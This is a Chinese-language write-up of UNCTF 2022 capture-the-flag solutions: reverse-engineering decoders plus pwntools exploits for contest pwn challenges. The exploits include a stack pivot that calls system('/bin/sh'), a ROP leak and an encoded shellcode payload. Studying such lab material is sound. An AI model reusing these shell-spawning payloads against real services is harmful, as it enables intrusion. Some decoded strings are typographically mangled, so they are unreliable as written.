UNCTF
Reverse
whereisyourkey
这题我没写脚本,因为数据是一个一个对比过去的,我们可以通过动调paste数据来一个一个获得flag。
flag:UNCTF{yesiamflag}
ezzzzre
先用upx脱壳,再一步非常简单的加密,直接上脚本
#include<stdio.h>
#include<string.h>
#include<stdint.h>
int main()
{
char table[] = "HELLOCTF";
for (int i = 0; i < 8; i++)
{
printf("%c",2*table[i]-69);
}
return 0;
}
flag:UNCTF{KESSYAcG}
Sudoku
这题看起来要解数独,实际上根本不需要,你输入的数据是与v12这个矩阵对比,v12矩阵是已经完全填好的,最后的flag需要俩步运算,脚本如下
#include<stdio.h>
#include<string.h>
#include<stdint.h>
int main()
{
int table[81]={ 8, 5, 2, 4, 9, 1, 6, 7, 3,
1, 9, 6, 7, 3, 8, 2, 5, 4,
4, 3, 7, 5, 6, 2, 9, 1, 8,
5, 2, 8, 1, 4, 6, 3, 9, 7,
3, 7, 4, 9, 2, 5, 8, 6, 1,
9, 6, 1, 3, 8, 7, 4, 2, 5,
2, 1, 9, 8, 5, 4, 7, 3, 6,
7, 4, 3, 6, 1, 9, 5, 8, 2,
6, 8, 5, 2, 7, 3, 1, 4, 9 };
int table1[81]={ 0, 0, 0, 4, 9, 0, 0, 0, 3,
0, 9, 6, 7, 0, 8, 0, 0, 0,
0, 0, 7, 0, 0, 0, 0, 1, 8,
0, 2, 8, 0, 4, 0, 0, 0, 7,
3, 0, 0, 0, 2, 0, 0, 0, 1,
0, 6, 0, 0, 8, 0, 4, 2, 0,
2, 0, 0, 0, 0, 4, 7, 3, 0,
7, 0, 3, 6, 0, 9, 0, 0, 0,
0, 8, 0, 0, 0, 0, 1, 4, 0 };
for (int i = 0; i < 9; i++)
{
unsigned int v9=0;
for (int j = 0; j < 9; j++)
{
v9 += table[i * 9 + j] - table1[i * 9 + j];
}
v9 += 50;
printf("%c",v9);
}
return 0;
}
flag:UNCTF{OAOJYKOFR}
ezast
AST:抽象语法树,一般来说这题需要工具,但这题我纯纯看出来的,十分简单的加密,脚本如下
#include<stdio.h>
int main()
{
char encode[] = "OTYN\\a[inE+iEl.hcEo)ivo+g";
for (int i = 0; i < 26; i++)
{
encode[i] = encode[i] ^ 25 + 1;
}
for (int i = 0; i < 26; i++)
{
printf("%c",encode[i]);
}
return 0;
}
flag:UNCTF{Ast_1s_v4ry_u3slu1}
今天喝茶,明天上班
一眼xxtea加密,但是做了点手脚
.rdata:00407720 TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: .rdata:TlsCallbacks_ptr↓o
.rdata:00407724 dd offset TlsCallback_1
在这两处地方做了手脚
对密钥重新进行了赋值和异或运算
xxtea板子网上找的,网上都有
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x74746561
#define MX (((z>>6^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned int p, rounds, e;
if (n > 1)
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += (int)DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1)
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= (int)DELTA;
} while (--rounds);
}
}
int main()
{
uint32_t v[] = { 0x74,0x73,0x65,0x44,0x7b,0x33,0x67,0x30,0x64,0x64,0x33,0x37,0x32,0x63,0x38,0x33,0x34,0x64,0x39,0x2d,0x66,0x34,0x2d,0x35,0x39,0x2d,0x61,0x37,0x2d,0x30,0x64,0x62,0x31,0x61,0x30,0x39,0x30,0x39,0x39,0x65,0x7d,0x31,0x63,0x37 };
uint32_t const k[4] = { 0x61,0x65,0x74,0x74 };
int n = 11;
//btea(v, -n, k);
for (int i = 0; i < 44; i+=4)
{
printf("%c%c%c%c", v[i+3],v[i+2],v[i+1],v[i]);
}
return 0;
}
数据已经被我处理好了,所以把解密注释掉了
flag:Dest0g3{73dd38c2-9d45-4f7a-9bd0-90a1e9907c1}
Hellorust
一眼rc4加密,字里行间都有暗示,key也有说明,直接上脚本
板子网上一样有
#include<stdio.h>
typedef struct _RC4INFO
{
unsigned char s_box[256];
unsigned char t_box[256];
}RC4_INFO, * PRC4_INFO;
void rc4_init(PRC4_INFO prc4, unsigned char key[], unsigned int keylen)
{
int i = 0;
int j = 0;
unsigned char tmp;
if (prc4 == NULL)
{
return;
}
for (i = 0; i < 256; i++)
{
prc4->s_box[i] = i;
prc4->t_box[i] = key[i % keylen];
}
for (i = 0; i < 256; i++)
{
j = (j + prc4->s_box[i] + prc4->t_box[i]) % 256;
tmp = prc4->s_box[i];
prc4->s_box[i] = prc4->s_box[j];
prc4->s_box[j] = tmp;
}
}
void rc4_crypt(unsigned char data[], unsigned int datalen, unsigned char key[], unsigned int keylen)
{
int dn = 0;
int i = 0;
int j = 0;
int t = 0;
unsigned char tmp;
RC4_INFO rc4;
rc4_init(&rc4, key, keylen);
for (dn = 0; dn < datalen; dn++)
{
i = (i + 1) % 256;
j = (j + rc4.s_box[i]) % 256;
tmp = rc4.s_box[i];
rc4.s_box[i] = rc4.s_box[j];
rc4.s_box[j] = tmp;
t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
data[dn] ^= rc4.s_box[t];
}
}
void EntryBuffer(unsigned char data[], unsigned int datalen)
{
unsigned char key[] = "UnCtF2022";
rc4_crypt(data, datalen, key, 9);
}
int main()
{
unsigned char Hell[] = {
0x87, 0x69, 0x27, 0x21, 0x6F, 0xC7, 0x31, 0x26, 0x1B, 0x6C,
0x3A, 0x74, 0x9A, 0x62, 0x6E, 0xA0, 0x02, 0x81, 0x1D, 0x85,
0xE0, 0xE2, 0xD0, 0x71, 0xF4, 0xA3, 0x09, 0x0E
};
EntryBuffer((unsigned char*)Hell, 28);
for (int i = 0; i < 28; i++)
{
printf("%c",Hell[i]);
}
return 0;
}
unctf{Ru5t_Rc4_1s_2_e@zy!!!}
halo
脱壳+简单加密,直接上脚本
#include<stdio.h>
#include<string.h>
#include<stdint.h>
int main()
{
unsigned char encode[] = { 0x55, 0x0B, 0x68, 0x0C, 0x73, 0x3E, 0x0C, 0x3A, 0x5D, 0x1B, 0x21, 0x75, 0x4F, 0x20, 0x4C, 0x71,
0x58, 0x7B, 0x59, 0x2C, 0x00, 0x77, 0x58, 0x77, 0x0E, 0x72, 0x5B, 0x26, 0x0B, 0x70, 0x0A, 0x77,
0x66, 0x77, 0x36, 0x76, 0x37, 0x76, 0x62, 0x72, 0x6D, 0x27, 0x3F, 0x77, 0x26,0x26 };
for (int i = 45; i > 0; i--)
{
encode[i] ^= encode[i - 1];
encode[i - 1] ^= i - 1;
}
for (int i = 0; i < 45; i++)
{
printf("%c", encode[i]);
}
return 0;
}
flag解出来稍微有点小问题,但是正确性不影响
flag:UNCTF{H41oO0_6bb2920f8b98ae3f1fdb10cced277c2c}
shelled_babyxor
对脱壳进行改动,不能用软件脱,需要手动脱,加密倒是很简单
#include<stdio.h>
#include<string.h>
#include<stdint.h>
int main()
{
int v1 = 38;
unsigned char encode[] = { 0x73,0x68,0x65,0x72,0x60,0x5d,0x5f,0x49,0x53,0x79,0x4c,0x53,0x55,0x52,0x79,0x53,0x48,0x56,0x47,0x45,0x4d,0x43,0x42,0x79,0x5f,0x49,0x53,0x54,0x79,0x40,0x4f,0x54,0x55,0x52,0x79,0x56,0x54,0x49,0x41,0x54,0x47,0 };
for (int i = 0; i < 41; i++)
{
printf("%c", encode[i] ^ v1);
}
return 0;
}
解出来的代码少了一个字符,不过猜也能猜到
flag:UNCTF{you_just_unpacked_your_first_program}
helloxorworld
动调感受,就会发现加密就那一步
#include<stdio.h>
#include<string.h>
#include<stdint.h>
int main()
{
unsigned char encode[39] = {
0x16, 0x1B, 0x58, 0x2F, 0x12, 0x69, 0x01, 0x57, 0x65, 0x55, 0x0D, 0x6C, 0x50, 0x04, 0x31, 0x54,
0x07, 0x32, 0x04, 0x05, 0x35, 0x55, 0x0A, 0x6C, 0x08, 0x0B, 0x3B, 0x53, 0x06, 0x60, 0x52, 0x55,
0x30, 0x51, 0x07, 0x64, 0x18, 0x04, 0x79
};
for (int i = 2; i < 39; i+=3)
{
encode[i] ^= encode[i - 1] ^ encode[i - 2];
encode[i - 1] ^= encode[i];
encode[i - 2] ^= encode[i];
}
for (int i = 2; i < 39; i+=3)
{
printf("%c%c%c",encode[i],encode[i-1],encode[i-2]);
}
return 0;
}
flag:UNCTF{3d249aea5af541039f83053f7be25cea}
Rusty CPU
这道题比较难,我看了很久才理解,模拟寄存器操作,验证你的输入,验证对之后,会将你的输入解密,就变成flag了,所以关键那一步是verify key
模拟寄存器有如下操作:
1.0x80 0x14 reg[1]=0x14下一个的数据
2.0x80 0x12 reg[0]=reg[x]-reg[y] (x,y是1或0,具体是哪个减哪个,我也不是特别清楚,大概是大的数减小的数)
3.0x80 0x05 验证你的key
4.0x81 0x11 reg[0]+=reg[1]
5.0x81 0x13 reg[0]^=reg[1]
6.0x11 0x11 初始化
7.0x22 0x22 reg[0]=key[index] (将你的输入放到reg[0])
我选择用z3求解
from z3 import *
encode=[ 0x67, 0x83, 0x67, 0x70, 0x29, 0x27, 0x7F, 0x68, 0x6B, 0x76,
0x69, 0x76, 0x74, 0x59, 0x73, 0x74, 0x6F, 0x83, 0x24, 0x91,
0x7B, 0x20, 0x54, 0x16, 0x84, 0x58, 0x93, 0x62, 0x5D, 0x66,
0x59, 0x4F]
v1=[BitVec("%d"%i,8)for i in range(32)]
s=Solver()
s.add((((v1[0]+0x1d)^0x13)-0x19)==encode[0])
s.add(((v1[1]+0x1f)^0x10)-0x15==encode[1])
s.add(0xfa-(v1[2]+0x1d)==encode[2])
s.add(0xfa-(v1[3]+0x1b)==encode[3])
s.add(((v1[4]+0x1e)^0x18)-0x22==encode[4])
s.add((v1[5]^0x17)==encode[5])
s.add(((v1[6]+0x24)^0x1a)-0x1a==encode[6])
s.add(((v1[7]+0x1e)^0x16)-0x1c==encode[7])
s.add(0xfa-(v1[8]+0x20)==encode[8])
s.add(((v1[9]+0x24)^0x14)-0x21==encode[9])
s.add(0xfa-(v1[10]+0x24)==encode[10])
s.add((v1[11]^0x1d)==encode[11])
s.add(((v1[12]+0x29)^0x1f)-0x23==encode[12])
s.add(((v1[13]+0x2b)^0x1a)-0x1d==encode[13])
s.add((v1[14]^0x1e)==encode[14])
s.add(((v1[15]+0x27)^0x1b)-0x23==encode[15])
s.add((v1[16]^0x1d)==encode[16])
s.add(((v1[17]+0x2a)^0x24)-0x26==encode[17])
s.add(((v1[18]+0x2a)^0x1c)-0x23==encode[18])
s.add(((v1[19]+0x30)^0x27)-0x25==encode[19])
s.add(((v1[20]+0x2d)^0x26)-0x2f==encode[20])
s.add(((v1[21]+0x2b)^0x22)-0x30==encode[21])
s.add((v1[22]^0x26)==encode[22])
s.add(((v1[23]+0x2f)^0x21)-0x2d==encode[23])
s.add(((v1[24]+0x36)^0x27)-0x2c==encode[24])
s.add((v1[25]^0x2c)==encode[25])
s.add(((v1[26]+0x37)^0x28)-0x2b==encode[26])
s.add(0xfa-(v1[27]+0x37)==encode[27])
s.add(0xfa-(v1[28]+0x36)==encode[28])
s.add(0xfa-(v1[29]+0x33)==encode[29])
s.add(0xfa-(v1[30]+0x38)==encode[30])
s.add(((v1[31]+0x3d)^0x2f)-0x35==encode[31])
flag=[]
if s.check()==sat:
result=s.model()
for i in v1:
flag.append(result[i])
print(flag)
输出的是字符的ASCII码值,转成字符,输入到程序,即可得出结果(这程序是ELF文件,你得放虚拟机里才能运行)
flag:UNCTF{B1den_will_make_Ch1na_gr3at!}
Pwn
welcomeUNCTF2022
签到题
from pwn import *
p=remote("node.yuzhian.com.cn",32637)
p.sendline("UNCTF&2022")
p.interactive()
石头剪刀布
交互题,也是简单的,交互100次就能拿到flag(当随机种子固定时,它每次的随机值也是确定的)
from pwn import *
table=[1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2]
p=remote("node.yuzhian.com.cn",32892)
p.sendlineafter("(y/n)",'y')
#0.rock 1.scissor 2.paper
for i in range(100):
p.recvuntil("]")
if table[i] == 0:
p.sendline("2")
elif table[i] == 1:
p.sendline("0")
elif table[i] == 2:
p.sendline("1")
p.recvuntil("success!!!")
p.interactive()
move your heart
栈迁移
from pwn import *
context(log_level='debug')
p=remote("node.yuzhian.com.cn",38964)
elf=ELF("./move_your_heart")
#p=process("./move_your_heart")
#gdb.attach(p)
system_plt=elf.plt["system"]
leave_ret=0x4012d6
pop_rdi_ret=0x4013d3
p.sendlineafter("num:",'286129175')
p.recvuntil("Success!!!")
p.recvuntil(":")
buf_addr=int(p.recv(14),16)
print("buf_addr="+hex(buf_addr))
payload=('/bin/sh\x00'+p64(pop_rdi_ret)+p64(buf_addr)+p64(system_plt))+p64(buf_addr)+p64(leave_ret)
p.send(payload)
p.interactive()
checkin
简单的绕过和ROP
ROP上面的学习网站有
from pwn import *
context(log_level="debug")
p=remote("node.yuzhian.com.cn",36917)
elf=ELF("./checkin")
puts_plt=elf.plt["puts"]
flag_addr=0x6010c0
pop_rdi_ret=0x400a53
p.sendafter("name: ",'1')
p.recvuntil("size: ")
p.send(" -1")
payload='a'*(0x50+8)+p64(pop_rdi_ret)+p64(flag_addr)+p64(puts_plt)
p.send(payload)
p.interactive()
int_0x80
过滤的shellcode
from pwn import *
context(os='linux',arch="amd64",log_level='debug')
p=remote("node.yuzhian.com.cn",32619)
p.recvuntil("pwn")
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload=shellcode
p.send(payload)
p.interactive()
Web
我太喜欢bilibili大学啦
直接在页面上查找flag就能找到
ezgame
玩游戏出了
crypto
md5-1
随便找个md5网站都解了
dddd
与摩斯码表对比就知道,1看作短,0看作长,就能在线求解了
casaer
偏移量为19
手动一个一个算,有些字符是错的,通过一个一个爆破提交即可得出
MISC
magic_word
零宽度隐写
放个零宽度网站直接解
社什么社
出题人的所在省份,凤凰古城
找得到我吗
就藏在字体里
syslog
用7zip打开发现有隐藏文件syslog
ubuntu bi0x: [Password] cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==
从里面找到这玩意,一眼base64加密 解密后是password,即可得出flag
in_the_morse_garden
把图片删了之后发现是base64加密,放网站解后,发现是依古比古玛卡巴卡重复,根据题目猜到是摩斯电码,依古比古是儿子代表.,玛卡巴卡是父亲代表-,
.–/.-/-./…–.-/.-/-./…–.-/–/.-/-.-/.-/…–.-/-…/.-/-.-/.-/.-/.-/.-/.-/-.-.–/
就可解出flag